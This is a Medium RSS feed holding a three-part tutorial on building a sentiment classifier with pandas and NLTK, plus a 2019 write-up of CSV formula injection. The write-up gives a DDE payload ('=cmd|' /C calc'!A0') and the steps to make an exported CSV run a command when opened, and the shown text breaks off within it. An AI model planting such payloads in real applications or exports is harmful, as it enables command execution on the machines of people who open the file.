<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Indranil Chakraborty on Medium]]></title>
        <description><![CDATA[Stories by Indranil Chakraborty on Medium]]></description>
        <link>https://medium.com/@indranil92.chakraborty?source=rss-1073db64d3cb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ypQEqMgxETa51UhqcyZrlA.jpeg</url>
            <title>Stories by Indranil Chakraborty on Medium</title>
            <link>https://medium.com/@indranil92.chakraborty?source=rss-1073db64d3cb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 20:10:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@indranil92.chakraborty/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[When Security Meets Machine Learning — Part 3: Loading the Data and Preparing It]]></title>
            <link>https://medium.com/@indranil92.chakraborty/when-security-meets-machine-learning-part-3-loading-the-data-and-preparing-it-6d9ffda7e923?source=rss-1073db64d3cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d9ffda7e923</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mls]]></category>
            <dc:creator><![CDATA[Indranil Chakraborty]]></dc:creator>
            <pubDate>Thu, 28 May 2026 07:44:18 GMT</pubDate>
            <atom:updated>2026-05-28T07:44:18.217Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nQyvy8HPZ0eFVE6dqSdKwA.png" /></figure><p>In Part 2, I covered the environment setup and the key concepts behind ML training. This part is where the actual work begins. Loading real data, understanding what it looks like, and making the preprocessing decisions that directly affect what the model learns.</p><p>One thing worth mentioning before we start: if you are working with a dataset that comes as a CSV or JSON file, loading it is straightforward. pandas handles both in a single line. The Stanford dataset is structured differently, and that difference is actually the first interesting problem to solve.</p><h3>A Quick Note on Jupyter</h3><p>Before getting into the code, one thing that makes Jupyter particularly useful for this kind of work: every step is its own block. You write a block, hit run, and see the output immediately. If something looks wrong or you want to tweak a preprocessing step, you change that one block and run it again. You do not need to re-run everything from the top. This makes experimenting and debugging much faster than working in a regular script.</p><h3>Loading the Data</h3><p>The Stanford dataset comes as a folder structure. Positive reviews live in a folder called <strong>pos</strong>. Negative reviews live in a folder called <strong>neg</strong>. Each review is its own individual text file. There is no label column, no single file to load. The label is determined entirely by which folder the file lives in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*SWnM7wKrJ5-DUQmZsU-_pA.png" /><figcaption>Folder Structure</figcaption></figure><p>This means before pandas even comes into the picture, you need to walk through the folder structure, read each file individually, and assign the label based on where it came from. Python’s built-in <strong>os</strong> module handles this cleanly.</p><pre>import os<br>import pandas as pd</pre><pre>def load_imdb_data(split=&quot;train&quot;):<br>    reviews = []<br>    for folder, label in [(&quot;pos&quot;, 1), (&quot;neg&quot;, 0)]:<br>        folder_path = os.path.join(&quot;aclImdb&quot;, split, folder)<br>        for filename in os.listdir(folder_path):<br>            filepath = os.path.join(folder_path, filename)<br>            with open(filepath, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:<br>                text = f.read()<br>                reviews.append({&quot;text&quot;: text, &quot;label&quot;: label})<br>    return pd.DataFrame(reviews)</pre><pre>df = load_imdb_data(&quot;train&quot;)<br>test_df = load_imdb_data(&quot;test&quot;)</pre><p>The function loops through each folder, reads every file inside it, and appends the text along with its label to a list. At the end, that list becomes a DataFrame with two columns: <strong>text</strong> and <strong>label</strong>. Label 1 for positive, 0 for negative.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xRUDuINWPq1HkO5mwDUAVA.png" /><figcaption><em>DataFrame output showing 25000 rows, 2 columns</em></figcaption></figure><h3>Preprocessing the Data</h3><p>Raw text is messy. Web-sourced reviews contain HTML tags, inconsistent casing, noise punctuation and words that add no useful signal to the model. Preprocessing is the step where you clean all of that up before the model ever sees it.</p><p>What I want to be clear about is that preprocessing is not a recipe you follow blindly. Every decision is a tradeoff. What works for one task can actively hurt another. I will walk through each step individually and explain the reasoning behind it.</p><h3>Checking for Missing Values</h3><p>Before touching the text, check whether any rows are missing data entirely.</p><pre>print(&quot;Missing values:\n&quot;, df.isnull().sum())</pre><p>Worth noting: because we loaded this data from individual files, missing values are less likely here than they would be with a CSV or JSON dataset where fields can simply be absent. However, if a file was empty or corrupted during loading, it could still produce a null. Checking for it is a good habit to build regardless of how the data was loaded.</p><h3>Checking for Duplicates</h3><p>Duplicate reviews are more common than you might expect in web-sourced datasets. The problem with keeping them is that they give the model artificially inflated confidence in certain patterns. If the same review appears five times in your training data, the model treats that pattern as five times more important than it actually is.</p><pre>print(&quot;Duplicate entries:&quot;, df.duplicated().sum())<br>df = df.drop_duplicates()</pre><h3>Removing HTML Tags</h3><p>This dataset is sourced from the web. Reviews frequently contain HTML markup like &lt;br /&gt; for line breaks or &lt;b&gt; for bold text. These tags carry no sentiment information whatsoever. If you leave them in, your model&#39;s vocabulary ends up polluted with tokens like <strong>br</strong> and <strong>div</strong> that teach it nothing useful.</p><pre>import re<br>df[&quot;text&quot;] = df[&quot;text&quot;].apply(lambda x: re.sub(r&quot;&lt;.*?&gt;&quot;, &quot; &quot;, x))</pre><h3>Lowercasing</h3><p>Without lowercasing, the words “Great”, “great” and “GREAT” are treated as three completely different words by the model. This inflates vocabulary size unnecessarily and makes the model fragile to formatting differences between reviews.</p><pre>df[&quot;text&quot;] = df[&quot;text&quot;].str.lower()</pre><h3>Punctuation Removal</h3><p>Most punctuation is noise. But for sentiment analysis, not all punctuation is equal. Consider these two sentences:</p><pre>&quot;Great movie!!!&quot;<br>&quot;Great movie...&quot;</pre><p>The exclamation marks signal strong enthusiasm. The ellipsis suggests hesitation or sarcasm. Stripping everything loses those signals. The approach here is to remove noise characters while keeping punctuation that carries emotional meaning.</p><pre>df[&quot;text&quot;] = df[&quot;text&quot;].apply(lambda x: re.sub(r&quot;[^a-z\s$!?£]&quot;, &quot;&quot;, x))</pre><p>This keeps [<strong>!</strong> <strong>?$£]</strong> and removes everything else that is not a letter or whitespace.</p><h3>Tokenisation</h3><p>Tokenisation splits a string of text into individual words. NLTK’s <strong>word_tokenize</strong> handles this more reliably than a simple split() because it correctly deals with contractions and edge cases.</p><pre>from nltk.tokenize import word_tokenize<br>df[&quot;text&quot;] = df[&quot;text&quot;].apply(word_tokenize)</pre><p>For example, “don’t” with a simple split() stays as one token. word_tokenize splits it into “do” and “n’t”, which matters when the model is trying to understand negations.</p><h3>Stopword Removal — The Decision That Matters Most</h3><p>Stopwords are extremely common words like “the”, “a”, “is” that usually carry no useful information. Removing them is standard practice in NLP. For most tasks it is straightforward.</p><p>Sentiment analysis is the exception, and this is the decision I found most interesting to think through.</p><p>Standard stopword lists include the word <strong>“not”</strong>. If you remove it, look at what happens:</p><pre>Original:   &quot;The acting was not good&quot;<br>After removing stopwords:  &quot;acting good&quot;</pre><p>The model now sees a positive sentence. It was clearly negative. This is not an edge case. It happens constantly in reviews. Words like “not”, “never”, “no”, “neither” completely reverse the meaning of a sentence. Removing them teaches the model something fundamentally wrong about your data.</p><p>The fix is to build a custom stopword list that protects these <strong>negation words</strong> while still removing genuinely neutral ones.</p><pre>from nltk.corpus import stopwords<br><br>stop_words = set(stopwords.words(&quot;english&quot;))<br>negations = {&quot;not&quot;, &quot;never&quot;, &quot;no&quot;, &quot;nor&quot;, &quot;neither&quot;,<br>             &quot;couldn&#39;t&quot;, &quot;wasn&#39;t&quot;, &quot;wouldn&#39;t&quot;, &quot;shouldn&#39;t&quot;}<br>custom_stopwords = stop_words - negations<br>df[&quot;text&quot;] = df[&quot;text&quot;].apply(<br>    lambda x: [word for word in x if word not in custom_stopwords]<br>)</pre><h3>Why Stemming Was Rejected</h3><p>Stemming reduces words to a root form by applying a fixed set of rules to chop off common suffixes. The most common implementation, the Porter Stemmer, works in multiple passes. Each pass checks whether the word ends with a known suffix and strips it off if it does.</p><p>Think of it like autocorrect that only knows how to delete, not fix. It recognises a pattern at the end of the word and strips it off, but has no idea what it left behind.</p><p>Here is what that looks like in practice:</p><pre>&quot;happiness&quot;  -&gt;  removes &quot;ness&quot;  -&gt;  &quot;happi&quot;   (not a real word)<br>&quot;awful&quot;      -&gt;  removes &quot;ful&quot;   -&gt;  &quot;aw&quot;       (loses meaning entirely)</pre><p>No dictionary lookup happens. No check that the result is a real word. No validation that the meaning survived. It is purely mechanical pattern matching on word endings.</p><p>For sentiment classification this is a problem. The emotional weight of words like “awful” and “happiness” lives in their exact form. Stripping that away weakens the signal the model needs to make the right prediction.</p><h3>Wrapping It All in a Function</h3><p>Each step above was shown individually because understanding the reasoning behind each one matters. But when it comes to actually running this, everything needs to be wrapped in a single reusable function.</p><p>The reason this is not optional: you need to apply exactly the same preprocessing to your training data, your validation data, your test data, and any new review the model receives later. If the preprocessing diverges at any point, the model receives input in a format it was never trained on and performance silently falls apart.</p><pre>import re<br>import nltk<br>from nltk.tokenize import word_tokenize<br>from nltk.corpus import stopwords</pre><pre>def preprocess(data):<br>    # Check for missing values<br>    print(&quot;Missing values:\n&quot;, data.isnull().sum())<br>    <br>    # Check for duplicates<br>    print(&quot;Duplicate entries:&quot;, data.duplicated().sum())<br>    # Remove duplicates if any<br>    data = data.drop_duplicates()<br><br>    print(&quot;=== BEFORE ANY PREPROCESSING ===&quot;) <br>    print(data.head(5))<br><br>    # Remove HTML tags<br>    data[&quot;text&quot;] = data[&quot;text&quot;].apply(lambda x: re.sub(r&quot;&lt;.*?&gt;&quot;, &quot; &quot;, x))<br>    print(&quot;\n=== AFTER REMOVING HTML TAGS ===&quot;)<br>    print(data[&quot;text&quot;].head(5))<br><br>    # Convert all text to lowercase<br>    data[&quot;text&quot;] = data[&quot;text&quot;].str.lower()<br>    print(&quot;\n=== AFTER LOWERCASING ===&quot;)<br>    print(data[&quot;text&quot;].head(5))<br><br>    # Remove non-essential punctuation, keep useful symbols<br>    data[&quot;text&quot;] = data[&quot;text&quot;].apply(lambda x: re.sub(r&quot;[^a-z\s$!?£]&quot;, &quot;&quot;, x))<br>    print(&quot;\n=== AFTER REMOVING PUNCTUATION &amp; NUMBERS (except $ ! ? £) ===&quot;)<br>    print(data[&quot;text&quot;].head(5))<br><br>    # Tokenize<br>    data[&quot;text&quot;] = data[&quot;text&quot;].apply(word_tokenize)<br>    print(&quot;\n=== AFTER TOKENIZATION ===&quot;)<br>    print(data[&quot;text&quot;].head(5))<br><br>    # Remove stopwords but protect negations<br>    stop_words = set(stopwords.words(&quot;english&quot;))<br>    negations = {&quot;not&quot;, &quot;never&quot;, &quot;no&quot;, &quot;nor&quot;, &quot;neither&quot;, &quot;couldn&#39;t&quot;, &quot;wasn&#39;t&quot;, &quot;wouldn&#39;t&quot;, &quot;shouldn&#39;t&quot;}<br>    custom_stopwords = stop_words - negations<br>    print(&quot;\nCustom stopwords sample:&quot;, sorted(list(custom_stopwords))[:10])<br>    data[&quot;text&quot;] = data[&quot;text&quot;].apply(lambda x: [word for word in x if word not in custom_stopwords])<br>    print(&quot;\n=== AFTER REMOVING STOP WORDS ===&quot;)<br>    print(data[&quot;text&quot;].head(5))<br><br>    # Rejoin tokens<br>    data[&quot;text&quot;] = data[&quot;text&quot;].apply(lambda x: &quot; &quot;.join(x))<br>    print(&quot;\n=== AFTER JOINING TOKENS BACK INTO STRINGS ===&quot;)<br>    print(data[&quot;text&quot;].head(5))<br>    <br>    return data<br><br>print(&quot;\n=== Now Processing Train Data ===&quot;)<br>df = preprocess(df)<br>print(&quot;\n=== Now Processing Test Data ===&quot;)<br>test_df = preprocess(test_df)</pre><p>The print statements are intentional. They show you exactly what the data looks like at each stage, which makes it much easier to spot if something unexpected happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5q2qLLZPle0snFWXESP0GQ.png" /><figcaption><em>Preprocessing Output</em></figcaption></figure><p>The data is now clean, consistently prepared and ready for the model. The next part covers converting this text into numbers, choosing the right model, training it and evaluating whether it actually learned something useful.</p><p><em>Part 4: Vectorisation, model training and evaluation [Coming Soon]</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d9ffda7e923" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When Security Meets Machine Learning — Part 2: Setting Up and the Concepts Behind the Work]]></title>
            <link>https://medium.com/@indranil92.chakraborty/when-security-meets-machine-learning-part-2-setting-up-and-the-concepts-behind-the-work-6c951083c7b5?source=rss-1073db64d3cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c951083c7b5</guid>
            <dc:creator><![CDATA[Indranil Chakraborty]]></dc:creator>
            <pubDate>Wed, 27 May 2026 07:39:35 GMT</pubDate>
            <atom:updated>2026-05-28T07:51:01.366Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QtlO1GOHKz1Y_9HkVVr53g.png" /></figure><p>In Part 1, I talked about why I started learning ML and how it connects to security. This part covers two things: getting your environment ready, and understanding the key concepts before any code gets written. The concepts section is more important than it sounds. Decisions made at this stage shape everything that follows.</p><h3>The Dataset</h3><p>Before setting anything up, it helps to know what we are actually working with.</p><p>The dataset I am using is the <strong>Large Movie Review Dataset</strong>, published by Andrew Maas et al. at Stanford in 2011. It contains <strong>25,000 movie reviews for training</strong> and <strong>25,000 for testing</strong>, each labelled as positive or negative sentiment. It is one of the most referenced benchmark datasets in NLP and has been used in hundreds of research papers since its release.</p><p>You can download it here: <a href="https://ai.stanford.edu/~amaas/data/sentiment/">https://ai.stanford.edu/~amaas/data/sentiment/</a></p><p>It is a legitimate, well-maintained academic resource. When you use it, the authors ask that you cite their ACL 2011 paper, which is linked on the same page.</p><p>The dataset comes as a folder structure rather than a single file. Reviews are split into <strong>pos</strong> and <strong>neg</strong> subfolders under <strong>train</strong> and <strong>test</strong> directories, with each review stored as an individual text file. The label is determined by which folder the file lives in. Loading it requires walking that structure and building a data-frame from it, which we will cover in the next part.</p><h3>What You Need</h3><p>I am assuming you already have <strong>Conda</strong>, <strong>Python</strong> and <strong>Jupyter</strong> installed. If you do not, that is worth sorting out first. There is plenty of documentation online for each of them, and if you get stuck feel free to reach out.</p><p>What you need specifically for this project:</p><ul><li><strong>pandas</strong> for loading and working with the data. If you have done any data work in Python before you likely already have it.</li><li><strong>scikit-learn</strong> for the ML components: vectorisation, model training and evaluation. This is the main workhorse of the project.</li><li><strong>nltk</strong> for natural language processing utilities: tokenisation and stopword lists.</li><li><strong>joblib</strong> for saving and loading the trained model.</li></ul><p>Install them however you are comfortable. If you are not sure, python -m pip install inside your conda environment is the reliable approach. The reason to use python -m pip specifically rather than bare pip is that bare pip can sometimes install packages into a different Python than the one your environment is actually running. It is a subtle difference that causes confusing breakages.</p><pre>python -m pip install pandas scikit-learn nltk joblib</pre><p>One more step: register your conda environment as a <strong>Jupyter kernel</strong>. If you skip this, Jupyter will likely run a completely different Python and none of your installed packages will be visible inside the notebook.</p><pre>python -m ipykernel install --user --name mlenv --display-name &quot;Python (mlenv)&quot;</pre><p>Then open Jupyter, go to Kernel, Change Kernel, and select the environment you just registered. To confirm it worked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VtVJKKtrsAxLPT9IV1t4kw.png" /><figcaption><strong>Select The Notebook</strong></figcaption></figure><pre>import sys<br>print(sys.executable)</pre><p>The path printed should point to your conda environment, not a system Python.</p><p>Finally, download the <strong>NLTK</strong> data files. This is a one-time step:</p><pre>import nltk<br>nltk.download(&#39;punkt&#39;)<br>nltk.download(&#39;punkt_tab&#39;)<br>nltk.download(&#39;stopwords&#39;)<br>nltk.download(&#39;wordnet&#39;)</pre><h3>A Quick Note on NumPy and PyTorch</h3><p>If your environment has <strong>PyTorch</strong> installed alongside <strong>NumPy 2.x</strong>, you may see your Jupyter kernel restart silently the moment you try to import torch. No error message, just a restart. This happens because PyTorch was compiled against an older <strong>NumPy ABI</strong> and is incompatible with NumPy 2.x. The kernel crash is the only symptom, which makes it genuinely confusing the first time.</p><p>The fix:</p><pre>python -m pip install &quot;numpy&lt;2&quot;</pre><p>Worth knowing before you lose an hour to it.</p><h3>Key Concepts Before We Start</h3><p>This is the part I wish someone had explained to me before I started writing code. Understanding what is happening and why certain approaches work better than others changes the quality of every decision you make.</p><p><strong>What training actually means</strong></p><p>You have a collection of labelled examples. Each example is a review paired with a label: positive or negative. <strong>Training</strong> is the process of showing the model all of these examples so it can figure out the patterns that separate one class from the other. Once training is complete, the model applies those learned patterns to text it has never seen before.</p><p>The quality of that learning depends almost entirely on the quality of the data and how it was prepared. A model trained on noisy or poorly prepared data will learn the wrong patterns. It might perform well on its own training data and fail on everything else. This gap between training performance and real-world performance is one of the central problems in applied ML.</p><p><strong>Converting text to numbers</strong></p><p>Machines cannot read text. Every word needs to become a number before any model can process it.</p><p>Think of it this way: imagine you have a fixed <strong>vocabulary</strong> of all the unique words in your dataset. For any given piece of text, you go through that vocabulary word by word and ask a simple question: is this word present in the text or not? If yes, mark it as 1. If no, mark it as 0. The result is a list of numbers, one for each word in the vocabulary. This list is called a <strong>vector</strong>.</p><p>The key thing to understand is that the length of the vector always equals the size of the vocabulary, regardless of how long or short the text is. A two-word sentence and a two-hundred-word review both produce vectors of the same length. The difference is how many 1s and 0s appear in each.</p><pre>Vocabulary: [&quot;great&quot;, &quot;bad&quot;, &quot;movie&quot;, &quot;acting&quot;]</pre><pre>For &quot;great movie&quot;:<br>  great   present? YES -&gt; 1<br>  bad     present? NO  -&gt; 0<br>  movie   present? YES -&gt; 1<br>  acting  present? NO  -&gt; 0<br>  result: [1, 0, 1, 0]</pre><pre>For &quot;bad movie&quot;:<br>  great   present? NO  -&gt; 0<br>  bad     present? YES -&gt; 1<br>  movie   present? YES -&gt; 1<br>  acting  present? NO  -&gt; 0<br>  result: [0, 1, 1, 0]</pre><p>This approach is called <strong>Bag of Words</strong>. It works, but it treats every word as equally important. The word “the” and the word “terrible” would carry the same weight if they appeared with the same frequency. That is clearly not right.</p><p><strong>TF-IDF</strong> (Term Frequency-Inverse Document Frequency) solves this by weighting words based on how informative they are. Words that appear in almost every document get penalised. Words that appear only in certain documents get rewarded. “The” appears everywhere and tells you nothing. “Terrible” appears mostly in negative reviews and is genuinely useful.</p><p>We tried plain Bag of Words first. The results were weaker. <strong>TF-IDF</strong> consistently performed better on this task.</p><p><strong>Choosing a model</strong></p><p>There are many classification algorithms available. We tried three.</p><p><strong>Naive Bayes</strong> is the common recommendation for text classification and is fast and simple. The problem is that it assumes every word is statistically independent of every other word. In practice, “not great” is very different from “great”, but Naive Bayes treats “not” and “great” as completely separate signals and cannot understand the relationship between them. For <strong>sentiment analysis</strong>, that assumption breaks down constantly.</p><p><strong>Random Forest</strong> builds many decision trees, each looking at a random subset of features. On many tasks this is powerful. For text data represented as TF-IDF vectors, it struggles. TF-IDF produces thousands of features and most of them are zero for any given document. Randomly selecting subsets of those sparse features does not give the trees enough meaningful signal to learn from.</p><p><strong>Logistic Regression</strong> was the best fit. It handles high-dimensional sparse data well, trains quickly even on large datasets, and is interpretable: you can inspect which words contributed most to a positive or negative prediction. It is the standard baseline for TF-IDF text classification for good reason.</p><p><strong>The train/test split and why it matters</strong></p><p>You cannot evaluate a model on the data it was trained on. If you do, you are measuring how well it memorised the training examples, not whether it actually learned anything generalisable.</p><p>The standard approach is to hold back a portion of your data before training and evaluate on that held-back set after training. The Stanford dataset already provides a separate test set, which makes this straightforward.</p><p>There is a subtler version of this problem worth knowing about: <strong>data leakage</strong>. It occurs when information from your test or validation data indirectly influences your training process. A common example is fitting your <strong>text vectoriser</strong> on the full dataset before splitting. The vectoriser learns vocabulary statistics from your test data, which means your model has already seen something it should not have. The numbers look good during development and fall apart in production.</p><p>The rule is simple: fit only on training data, transform everything else using the already-fitted vectoriser.</p><p>The next part gets into the actual implementation: loading the Stanford dataset from its folder structure, preprocessing decisions and the reasoning behind each one.</p><p><em>Part 3: Loading the data, preprocessing do’s and don’ts, and the decisions that actually affect model performance [</em><a href="https://medium.com/@indranil92.chakraborty/when-security-meets-machine-learning-part-3-loading-the-data-and-preparing-it-6d9ffda7e923"><em>Here</em></a><em>]</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c951083c7b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When Security Meets Machine Learning — Part 1: Why I Started Caring]]></title>
            <link>https://medium.com/@indranil92.chakraborty/when-security-meets-machine-learning-part-1-why-i-started-caring-51682fda24cf?source=rss-1073db64d3cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/51682fda24cf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mlops]]></category>
            <dc:creator><![CDATA[Indranil Chakraborty]]></dc:creator>
            <pubDate>Mon, 18 May 2026 07:04:31 GMT</pubDate>
            <atom:updated>2026-05-27T07:56:45.945Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A security enthusiast’s honest account of falling down the ML rabbit hole.</em></p><p>I’ll be straight with you. Until recently, machine learning was something I nodded along to in meetings without fully understanding. I knew the buzzwords. I could use them in a sentence. But if someone had asked me to explain how a model actually works — what it’s doing under the hood, how it makes decisions — I would have struggled.</p><p>And that bothered me. Not because I felt left out of the conversation, but because of what it means for security.</p><p>ML models are being woven into security products everywhere — EDRs, SIEMs, WAFs, email gateways, anomaly detection pipelines. These are things I want to understand — not just use, but genuinely understand. And I realised at some point that nodding along wasn’t good enough anymore. If I don’t understand how these systems work, I can’t meaningfully reason about whether they’re trustworthy — or where they might break.</p><p>So I decided to stop watching from the sidelines and actually build something.</p><p>This is the first article in a series where I document that journey — not as an expert, but as someone learning in public. I’ll share what I understand, what confused me, what surprised me, and what I think matters most for security people trying to make sense of this space.</p><h3>What Even Is Machine Learning?</h3><p>Let me strip away the marketing language for a moment.</p><p>Machine learning is the process of teaching a computer to make decisions by showing it examples — rather than writing explicit rules for every situation.</p><p>Think about how you personally recognise a phishing email. You don’t run through a checklist. You’ve seen enough of them that your brain developed an intuition — a pattern — and now you apply it automatically. You can’t always articulate every rule, but you know one when you see it.</p><p>That’s exactly what a machine learning model does. You feed it thousands of labelled examples. It finds patterns in those examples. It applies those patterns to new, unseen data.</p><p>The difference between you and the model? You can explain your reasoning (most of the time). The model often can’t — and that gap between performance and explainability is one of the most interesting security problems in the space right now. But we’ll get there.</p><h3>Three Things Every ML System Does</h3><p>No matter how complex the model sounds, every ML system does three things — in this order:</p><p><strong>Takes input</strong> → raw data. Text, images, network logs, file signatures.</p><p><strong>Transforms it</strong> → computers don’t understand raw data. Text gets converted to numbers. Images get converted to pixel arrays. This transformation step is called feature extraction, and it’s where most of the interesting — and most dangerous — design decisions happen.</p><p><strong>Makes a prediction</strong> → the model outputs a result. A class label. A probability. A score.</p><p>That’s the loop. Input → transform → predict. Everything else is implementation detail.</p><h3>Why Should a Security Person Care?</h3><p>I keep coming back to this question because I think it’s the right one to start with. There’s no shortage of things to learn in this industry. Why this, why now?</p><p>Here’s my honest answer — three reasons that aren’t theoretical:</p><p><strong>You’re already a target of these systems</strong></p><p>Every security tool that claims to use AI is making decisions based on a trained model. Those models have weaknesses. They can be fooled. They can be biased. They can be evaded — sometimes trivially, if you understand how they work. If you’re doing red teaming, adversarial testing, or just trying to understand whether a vendor’s “AI-powered detection” actually holds up, you need to understand what’s underneath it.</p><p><strong>You’re increasingly being asked to build them</strong></p><p>Security teams are being asked to develop their own ML-based detections. Log classification. Phishing URL detection. Insider threat scoring. These aren’t research projects at big tech companies anymore — they’re operational requirements filtering down to everyone. Having a working mental model of how to build and evaluate these systems is becoming a baseline skill.</p><p><strong>Attacking ML systems requires understanding them</strong></p><p>This is the one that got me. To do meaningful adversarial testing on an ML-based product, you need to understand what the model is optimising for, what its inputs look like, and how its training pipeline was constructed. You can’t craft a meaningful adversarial input if you don’t understand what the model is sensitive to. The attack surface starts with the training data.</p><h3>What I’m Building — And Why Text Classification</h3><p>To actually learn this stuff, I decided to build a real model — not follow a tutorial, but reason through the decisions myself and understand the why behind each choice.</p><p>The task I chose: <strong>sentiment classification</strong>. Given a piece of text — a review, a comment, a message — the model decides whether the sentiment is positive or negative.</p><p>Simple enough to be approachable. Complex enough to surface interesting decisions. And directly relevant to security — the exact same approach applies to classifying malicious vs benign content. Replace “positive review” with “clean file” and “negative review” with “suspicious pattern,” and the architecture is identical.</p><p>The journey covers:</p><ul><li>Setting up a proper Python environment for ML work</li><li>Loading and exploring real data</li><li>Making preprocessing decisions that actually matter</li><li>Converting text into something a model can understand</li><li>Choosing the right model for the task</li><li>Evaluating honestly — not just chasing accuracy</li><li>Saving the model so it can actually be used</li></ul><h3>This Is Just the Start</h3><p>What I’ve found so far is that ML, at its core, is not that different from the kind of systems thinking security people already do. You’re reasoning about inputs, transformations, outputs, edge cases, and failure modes. The vocabulary is different. The tools are different. The underlying logic is familiar.</p><p>The next article gets hands-on. We’ll set up the environment, load real data, and start making the preprocessing decisions that determine whether a model learns something useful or learns noise.</p><p>If you’re coming from a security background and curious about how any of this actually works — stick around.</p><p>*Part 2: Setting up the environment and the concepts behind the work — [<a href="https://medium.com/@indranil92.chakraborty/when-security-meets-machine-learning-part-2-setting-up-and-the-concepts-behind-the-work-6c951083c7b5">Read here</a>]*</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51682fda24cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I created a backdoor in a system exploiting CSV functionality of an Application by performing…]]></title>
            <link>https://medium.com/@indranil92.chakraborty/how-i-created-a-backdoor-in-a-system-exploiting-csv-functionality-of-an-application-by-performing-58cda56f9d1e?source=rss-1073db64d3cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/58cda56f9d1e</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Indranil Chakraborty]]></dc:creator>
            <pubDate>Fri, 08 Feb 2019 11:26:59 GMT</pubDate>
            <atom:updated>2019-02-08T11:26:59.915Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>How I created a backdoor in a system exploiting CSV functionality of an Application by performing Formula Injection…!!</strong></h3><p>Ohkay…!! Firstly let me tell you in short that what this is all about, so that it gets easier for you to understand the scenario and the exploit.</p><p><strong>So what’s CSV?</strong></p><blockquote>In computing, a comma-separated values (CSV) file is a delimited text file that uses a comma to separate values. A CSV file stores tabular data (numbers and text) in plain text. Each line of the file is a data record. Each record consists of one or more fields, separated by commas. The use of the comma as a field separator is the source of the name for this file format.</blockquote><blockquote>[So bookish right? Basically I did a copy paste from wiki. So, let me get it straight csv is basically a file type where you can store your data in tabular format, it has lots of other features as well (you can google for that).]</blockquote><p><strong>Now about the vulnerability, what is“Formula Injection”?</strong></p><blockquote>Nowadays, there are many web application and frameworks being developed which allow users to export the data saved in database into a csv file. The csv file created might lead to CSV or Formula injection. So it becomes very important to be sure that the file exported through the web application is safe and will not leave the users system prone to any attack.</blockquote><blockquote>CSV Injection aka Formula Injection. It occurs when websites embed un-trusted user input inside CSV files without validating. When the user tries to open the CSV file using any spreadsheet program such as Microsoft Excel or LibreOffice Calc, any cells starting with ‘=’ will be interpreted by the software as a formula. So, this is it in-spite of executing any formula if I am able to communicate with the OS itself I would be able to perform any malicious activities that I want. Now, let’s move to the POC and let’s find out how it will be possible.</blockquote><p><strong>Steps to Follow:</strong></p><blockquote>First of all you’ll need an application which is having data input functionality and then exporting the data into csv file feature. Let’s start then:</blockquote><p><strong>Step 1:</strong></p><blockquote>Log in to the application using valid admin credential, now navigate to the tab where you’ll be able to add new data, for my application I have navigated to add a new device:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*UZVseJDzykGOQUSwTOhpoQ.png" /><figcaption>Login and navigate to add data into the application</figcaption></figure><p><strong>Step 2:</strong></p><blockquote>Fill-up all the required fields with the following command, and click on “Ok”:<br>=cmd|’ /C calc’!A0</blockquote><blockquote>This command will basically ask the OS to open a calculator using command prompt into the victims machine.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*jDft-r3cdlpc-xDXi9fKWA.png" /><figcaption>Placing the basic command in the input box</figcaption></figure><p><strong>Step 3:</strong></p><blockquote>Now, the inserted command (i.e. new device information) reflects in the list, as shown below.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*Q19hGKdZ7gKlQcdkawMODQ.png" /><figcaption>Placing the basic command in the input box</figcaption></figure><p><strong>Step 4:</strong></p><blockquote>Now, click on Export tab, post which complete data will get exported in your system as CSV file, as shown in the screenshot .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*wCyRKT03ig5Yi6eTEvkUTw.png" /><figcaption>The Name shows the command</figcaption></figure><p><strong>Step 5:</strong></p><blockquote>Now, when the csv file opens, it prompts some warnings click on “Enable” and “Yes” respectively, post that the command gets executed and a calculator opens up, as shown in the screenshots.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qFmboKzQqozpEIo03xPDPA.png" /></figure><figure><img alt="" 